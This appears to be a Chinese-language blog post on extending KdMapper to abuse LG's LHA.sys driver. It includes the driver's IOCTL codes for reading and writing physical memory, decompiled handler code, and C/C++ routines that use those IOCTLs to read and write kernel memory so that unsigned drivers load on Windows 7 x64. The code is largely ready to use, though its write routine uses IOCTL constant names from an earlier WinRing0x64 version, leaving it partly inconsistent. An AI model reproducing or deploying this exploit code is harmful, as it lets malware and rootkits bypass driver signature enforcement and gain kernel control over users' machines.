KdMapper扩展实现之LG(LHA.sys)

发布时间 2023-09-19 18:30:48作者: 禁锢在时空之中的灵魂

1.背景

  KdMapper是一个利用intel的驱动漏洞可以无痕的加载未经签名的驱动,本文是利用其它漏洞(参考《【转载】利用签名驱动漏洞加载未签名驱动》)做相应的修改以实现类似功能。需要大家对KdMapper的代码有一定了解。

 

2.驱动信息

 

驱动名称 LHA.sys 
时间戳 5C255B03
MD5 748CF64B95CA83ABC35762AD2C25458F
文件版本 1.1.1811.2101
设备名称 \\.\{E8F2FF20-6AF7-4914-9398-CE2132FE170F}
读物理内存 0x9C402FD8
写物理内存 0x9C402FDC
Windows 7 支持
Windows 10 不支持
Windows 11 不支持

 

3.IDA分析

3.1 入口函数:

NTSTATUS __stdcall DriverEntry(_DRIVER_OBJECT* DriverObject, PUNICODE_STRING RegistryPath)
{
	PVOID v3; // rax
	NTSTATUS result; // eax
	PDEVICE_OBJECT DeviceObject; // [rsp+50h] [rbp-128h] BYREF
	struct _UNICODE_STRING DestinationString; // [rsp+58h] [rbp-120h] BYREF
	UNICODE_STRING DefaultSDDLString; // [rsp+68h] [rbp-110h] BYREF
	struct _UNICODE_STRING SymbolicLinkName; // [rsp+78h] [rbp-100h] BYREF
	WCHAR SourceString[48]; // [rsp+90h] [rbp-E8h] BYREF
	WCHAR Dst[56]; // [rsp+F0h] [rbp-88h] BYREF

	memmove(SourceString, L"\\Device\\{E8F2FF20-6AF7-4914-9398-CE2132FE170F}", 0x5Eui64);
	memmove(Dst, L"\\DosDevices\\{E8F2FF20-6AF7-4914-9398-CE2132FE170F}", 0x66ui64);
	v3 = MmAllocateNonCachedMemory(0x2000ui64);
	::Dst = v3;
	if (!v3)
		return -1073741670;
	memset(v3, 255, 0x2000ui64);
	RtlInitUnicodeString(&DestinationString, SourceString);
	RtlInitUnicodeString(&SymbolicLinkName, Dst);
	RtlInitUnicodeString(&DefaultSDDLString, L"D:P(A;;GA;;;SY)(A;;GA;;;BA)");
	result = WdmlibIoCreateDeviceSecure(
		DriverObject,
		0,
		&DestinationString,
		0x22u,
		0x100u,
		0,
		&DefaultSDDLString,
		&DeviceClassGuid,
		&DeviceObject);
	if (result >= 0)
	{
		byte_15334 = 1;
		::DeviceObject = DeviceObject;
		IoWorkItem = IoAllocateWorkItem(DeviceObject);
		if (!IoWorkItem)
		{
			IoDeleteDevice(::DeviceObject);
			return -1073741670;
		}
		result = IoCreateSymbolicLink(&SymbolicLinkName, &DestinationString);
		if (result >= 0)
		{
			DriverObject->MajorFunction[0] = (PDRIVER_DISPATCH)&sub_111A4;
			DriverObject->MajorFunction[14] = (PDRIVER_DISPATCH)DeviceIoControl;
			DriverObject->DriverUnload = (PDRIVER_UNLOAD)sub_111CC;
			SpinLock = 0i64;
			result = 0;
		}
	}
	return result;
}

 

3.3 DeviceIoControl

__int64 __fastcall DeviceIoControl(PDEVICE_OBJECT pDeviceObject, PIRP pIrp)
{
        _IO_STACK_LOCATION* pIosp; // rax
        unsigned int nIoControlCode; // ecx
        __int64 nInputBufferLength; // rdx
        __int64 nOutputBufferLength; // r8
        char* pSystemBuffer; // rsi
        char* ntStatus; // rdi
        SIZE_T nMappedIoSpaceSize; // rbx
        _DWORD* pMappedIoSpaceAddresssV16; // rcx
        _BYTE* pMappedIoSpaceAddresss; // rax
        SIZE_T nMappedIoSpaceSizeV25; // r12
        PVOID pMappedIoSpaceAddresssV27; // rax
        char* pSourceAddress; // rdx
        void* pMappedIoSpaceAddresssV29; // rbx
        PHYSICAL_ADDRESS pPhysicalAddress; // rcx
        SIZE_T nLoopCount; // r8
        signed __int64 pAddressOffset; // rdx
        PHYSICAL_ADDRESS PhysicalAddress; // [rsp+58h] [rbp+10h] BYREF

        pIosp = pIrp->Tail.Overlay.CurrentStackLocation;
        nIoControlCode = pIosp->Parameters.DeviceIoControl.IoControlCode;
        nInputBufferLength = pIosp->Parameters.DeviceIoControl.InputBufferLength;
        nOutputBufferLength = pIosp->Parameters.DeviceIoControl.OutputBufferLength;
        pSystemBuffer = (char*)pIrp->AssociatedIrp.SystemBuffer;
        ntStatus = 0i64;
        if (nIoControlCode > 0x9C403020)
        {
            LABEL_17:
              LODWORD(pIrp->IoStatus.Information) = nMappedIoSpaceSize;
              goto LABEL_167;
                ......
        }
        if (nIoControlCode > 0x9C402FB0)
        {
                if (nIoControlCode <= 0x9C402FD0)
                {
                        ......
                LABEL_63:
                    pMappedIoSpaceAddresssV16 = pMappedIoSpaceAddresss;
                LABEL_48:
                    MmUnmapIoSpace(pMappedIoSpaceAddresssV16, nMappedIoSpaceSize);
                    goto LABEL_17;            
                LABEL_72:
                        pMappedIoSpaceAddresssV29 = pMappedIoSpaceAddresssV27;
                        memmove(pMappedIoSpaceAddresssV27, pSourceAddress, nMappedIoSpaceSizeV25);
                        MmUnmapIoSpace(pMappedIoSpaceAddresssV29, nMappedIoSpaceSizeV25);
                        LODWORD(pIrp->IoStatus.Information) = nMappedIoSpaceSizeV25;
                        goto LABEL_167;
                }
                switch (nIoControlCode)
                {
                case 0x9C402FD4:
                        ......
                case 0x9C402FD8:
                        nMappedIoSpaceSize = *((unsigned int*)pSystemBuffer + 2);// //读物理内存
                        LODWORD(pIrp->IoStatus.Information) = 0;
                        if ((unsigned int)nInputBufferLength < 0xC
                                || (unsigned int)nOutputBufferLength < (unsigned int)nMappedIoSpaceSize)
                        {
                                goto LABEL_127;
                        }
                        pMappedIoSpaceAddresss = MmMapIoSpace(*(PHYSICAL_ADDRESS*)pSystemBuffer, nMappedIoSpaceSize, MmNonCached);
                        if ((_DWORD)nMappedIoSpaceSize)
                        {
                                nLoopCount = nMappedIoSpaceSize;
                                pAddressOffset = pMappedIoSpaceAddresss - pSystemBuffer;
                                do
                                {
                                        *pSystemBuffer = pSystemBuffer[pAddressOffset];
                                        ++pSystemBuffer;
                                        --nLoopCount;
                                } while (nLoopCount);
                        }
                        goto LABEL_63;
                case 0x9C402FDC:
                        pPhysicalAddress = *(PHYSICAL_ADDRESS*)pSystemBuffer;// 写物理内存
                        nMappedIoSpaceSizeV25 = *((unsigned int*)pSystemBuffer + 2);
                        LODWORD(pIrp->IoStatus.Information) = 0;
                        if ((unsigned int)nInputBufferLength < 0xC)
                                goto LABEL_127;
                        pMappedIoSpaceAddresssV27 = MmMapIoSpace(pPhysicalAddress, nMappedIoSpaceSizeV25, MmNonCached);
                        pSourceAddress = pSystemBuffer + 12;
                        goto LABEL_72;
                }

        }

        ......
LABEL_167:
        pIrp->IoStatus.Status = (int)ntStatus;
        IofCompleteRequest(pIrp, 0);
        return (unsigned int)ntStatus;
}

  其中读取物理内存 ControlCode 为 0x9C402FD8,写入物理内存为 0x9C402FDC。

 

3.4 使用注意事项

  实现使用的是MmMapIoSpace将物理内存映射到进程空间或者之后再读写。由于使用了物理内存,在代码过程中会遇到物理页面和虚拟页面不一一对应的问题,问题说明及解决办法见《KdMapper扩展中遇到的相关问题》

 

4. 代码实现

4.1 .h文件

#pragma pack(push)
#pragma pack(1)
        typedef struct _LHA_PHYSICAL_MEMORY_INFO {
                PHYSICAL_ADDRESS PhysicalAddress;
                ULONG Length;
        } LHA_READ_WRITE_PHYSICAL_MEMORY_INFO, *PLHA_READ_PHYSICAL_MEMORY_INFO;
#pragma pack(pop)

#ifndef RtlOffsetToPointer
#define RtlOffsetToPointer(Base, Offset)  ((PCHAR)( ((PCHAR)(Base)) + ((ULONG_PTR)(Offset))  ))
#endif

#ifndef RtlPointerToOffset
#define RtlPointerToOffset(Base, Pointer)  ((ULONG)( ((PCHAR)(Pointer)) - ((PCHAR)(Base))  ))
#endif

#define LHA_DEVICE_TYPE          (DWORD)0x9C40
#define LHA_READ_PHYSICAL_MEMORY_FUNCID   (DWORD)0xBF6
#define LHA_WRITE_PHYSICAL_MEMORY_FUNCID (DWORD)0xBF7


#define IOCTL_LHA_READ_PHYSICAL_MEMORY      \
    CTL_CODE(LHA_DEVICE_TYPE, LHA_READ_PHYSICAL_MEMORY_FUNCID, METHOD_BUFFERED, FILE_ANY_ACCESS) //0x9C402FD8
#define IOCTL_LHA_WRITE_PHYSICAL_MEMORY    \
    CTL_CODE(LHA_DEVICE_TYPE, LHA_WRITE_PHYSICAL_MEMORY_FUNCID, METHOD_BUFFERED, FILE_ANY_ACCESS) //0x9C402FDC

 

4.2 .c文件

NTSTATUS lg_driver::SuperCallDriverEx(
        _In_ HANDLE DeviceHandle,
        _In_ ULONG IoControlCode,
        _In_ PVOID InputBuffer,
        _In_ ULONG InputBufferLength,
        _In_opt_ PVOID OutputBuffer,
        _In_opt_ ULONG OutputBufferLength,
        _Out_opt_ PIO_STATUS_BLOCK IoStatus)
{
        IO_STATUS_BLOCK ioStatus;

        NTSTATUS ntStatus = NtDeviceIoControlFile(DeviceHandle,
                NULL,
                NULL,
                NULL,
                &ioStatus,
                IoControlCode,
                InputBuffer,
                InputBufferLength,
                OutputBuffer,
                OutputBufferLength);

        if (ntStatus == STATUS_PENDING) {

                ntStatus = NtWaitForSingleObject(DeviceHandle,
                        FALSE,
                        NULL);
        }

        if (IoStatus)
                *IoStatus = ioStatus;

        return ntStatus;
}

BOOL lg_driver::SuperCallDriver(
        _In_ HANDLE DeviceHandle,
        _In_ ULONG IoControlCode,
        _In_ PVOID InputBuffer,
        _In_ ULONG InputBufferLength,
        _In_opt_ PVOID OutputBuffer,
        _In_opt_ ULONG OutputBufferLength)
{
        BOOL bResult;
        IO_STATUS_BLOCK ioStatus;

        NTSTATUS ntStatus = SuperCallDriverEx(
                DeviceHandle,
                IoControlCode,
                InputBuffer,
                InputBufferLength,
                OutputBuffer,
                OutputBufferLength,
                &ioStatus);

        bResult = NT_SUCCESS(ntStatus);
        SetLastError(RtlNtStatusToDosError(ntStatus));
        return bResult;
}

BOOL WINAPI lg_driver::SuperReadWritePhysicalMemory(
        _In_ HANDLE DeviceHandle,
        _In_ ULONG_PTR PhysicalAddress,
        _In_reads_bytes_(NumberOfBytes) PVOID Buffer,
        _In_ ULONG NumberOfBytes,
        _In_ BOOLEAN DoWrite)
{
        BOOL bResult = FALSE;
        DWORD dwError = ERROR_SUCCESS;


        LHA_READ_WRITE_PHYSICAL_MEMORY_INFO request;

        RtlSecureZeroMemory(&request, sizeof(request));
        request.Length = NumberOfBytes;
        request.PhysicalAddress.QuadPart = PhysicalAddress;
        __try {

                if (DoWrite) {
                        ULONG nAllocateBufferLength = sizeof(LHA_READ_WRITE_PHYSICAL_MEMORY_INFO) + NumberOfBytes;
                        PBYTE pBufferWrite = (PBYTE)malloc(nAllocateBufferLength);
                        if (pBufferWrite)
                        {
                                RtlZeroMemory(pBufferWrite, nAllocateBufferLength);
                                RtlCopyMemory(pBufferWrite, &request, sizeof(request));
                                RtlCopyMemory((PBYTE)pBufferWrite + sizeof(request), Buffer, NumberOfBytes);
                                bResult = SuperCallDriver(DeviceHandle,
                                        IOCTL_WINRING0X64_WRITE_PHYSICAL_MEMORY,
                                        pBufferWrite,
                                        nAllocateBufferLength,
                                        0,
                                        0);
                        }
                        else
                        {
                                Log(L"[!] Write Physical Memory Allocate Temp Memory Failed" << std::endl);
                        }

                }
                else {
                        bResult = SuperCallDriver(DeviceHandle,
                                IOCTL_WINRING0X64_READ_PHYSICAL_MEMORY,
                                &request,
                                sizeof(request),
                                Buffer,
                                NumberOfBytes);
                }
        }
        __except (EXCEPTION_EXECUTE_HANDLER) {
                bResult = FALSE;
                dwError = GetExceptionCode();
                Log(L"[!] Error AtszioReadWritePhysicalMemory Exception!" << std::endl);
        }


        SetLastError(dwError);
        return bResult;
}

BOOL WINAPI lg_driver::SuperReadPhysicalMemory(
        _In_ HANDLE DeviceHandle,
        _In_ ULONG_PTR PhysicalAddress,
        _In_ PVOID Buffer,
        _In_ ULONG NumberOfBytes)
{
        return SuperReadWritePhysicalMemory(DeviceHandle,
                PhysicalAddress,
                Buffer,
                NumberOfBytes,
                FALSE);
}

BOOL WINAPI lg_driver::SuperWritePhysicalMemory(
        _In_ HANDLE DeviceHandle,
        _In_ ULONG_PTR PhysicalAddress,
        _In_reads_bytes_(NumberOfBytes) PVOID Buffer,
        _In_ ULONG NumberOfBytes)
{
        return SuperReadWritePhysicalMemory(DeviceHandle,
                PhysicalAddress,
                Buffer,
                NumberOfBytes,
                TRUE);
}

BOOL WINAPI lg_driver::SuperWriteKernelVirtualMemory(
        _In_ HANDLE DeviceHandle,
        _In_ ULONG_PTR Address,
        _Out_writes_bytes_(NumberOfBytes) PVOID Buffer,
        _In_ ULONG NumberOfBytes)
{
        BOOL bResult;
        ULONG_PTR physicalAddress = 0;

        SetLastError(ERROR_SUCCESS);

        bResult = SuperVirtualToPhysical(DeviceHandle,
                Address,
                &physicalAddress);

        if (bResult) {

                bResult = SuperReadWritePhysicalMemory(DeviceHandle,
                        physicalAddress,
                        Buffer,
                        NumberOfBytes,
                        TRUE);

        }

        return bResult;
}

BOOL WINAPI lg_driver::SuperReadKernelVirtualMemory(
        _In_ HANDLE DeviceHandle,
        _In_ ULONG_PTR Address,
        _Out_writes_bytes_(NumberOfBytes) PVOID Buffer,
        _In_ ULONG NumberOfBytes)
{
        BOOL bResult;
        ULONG_PTR physicalAddress = 0;

        SetLastError(ERROR_SUCCESS);

        bResult = SuperVirtualToPhysical(DeviceHandle,
                Address,
                &physicalAddress);

        if (bResult) {

                bResult = SuperReadWritePhysicalMemory(DeviceHandle,
                        physicalAddress,
                        Buffer,
                        NumberOfBytes,
                        FALSE);

        }

        return bResult;
}

  其中 SuperReadKernelVirtualMemory 和 SuperWriteKernelVirtualMemory 读写虚拟地址内存页面中的 虚拟地址转物理地址函数 SuperVirtualToPhysical 的实现在《KdMapper扩展实现之虚拟地址转物理地址 》一文中有介绍。

  同时由于使用了MmMapIoSpace,故其只能在Win7上运行,详见《KdMapper扩展实现之虚拟地址转物理地址 》

 

5. 运行效果

  Windows7 x64 环境上运行的效果如下,其中驱动 HelloWorld.sys为未签名的驱动,其详细说明见文章《KdMapper被加载驱动的实现》

  

 

6.特别提示

  使用winring0x64.sys制作的KdMapper只能在Win 7 x64环境上运行,Win10以上环境由于使用了MmMapIoSpace会导致蓝屏。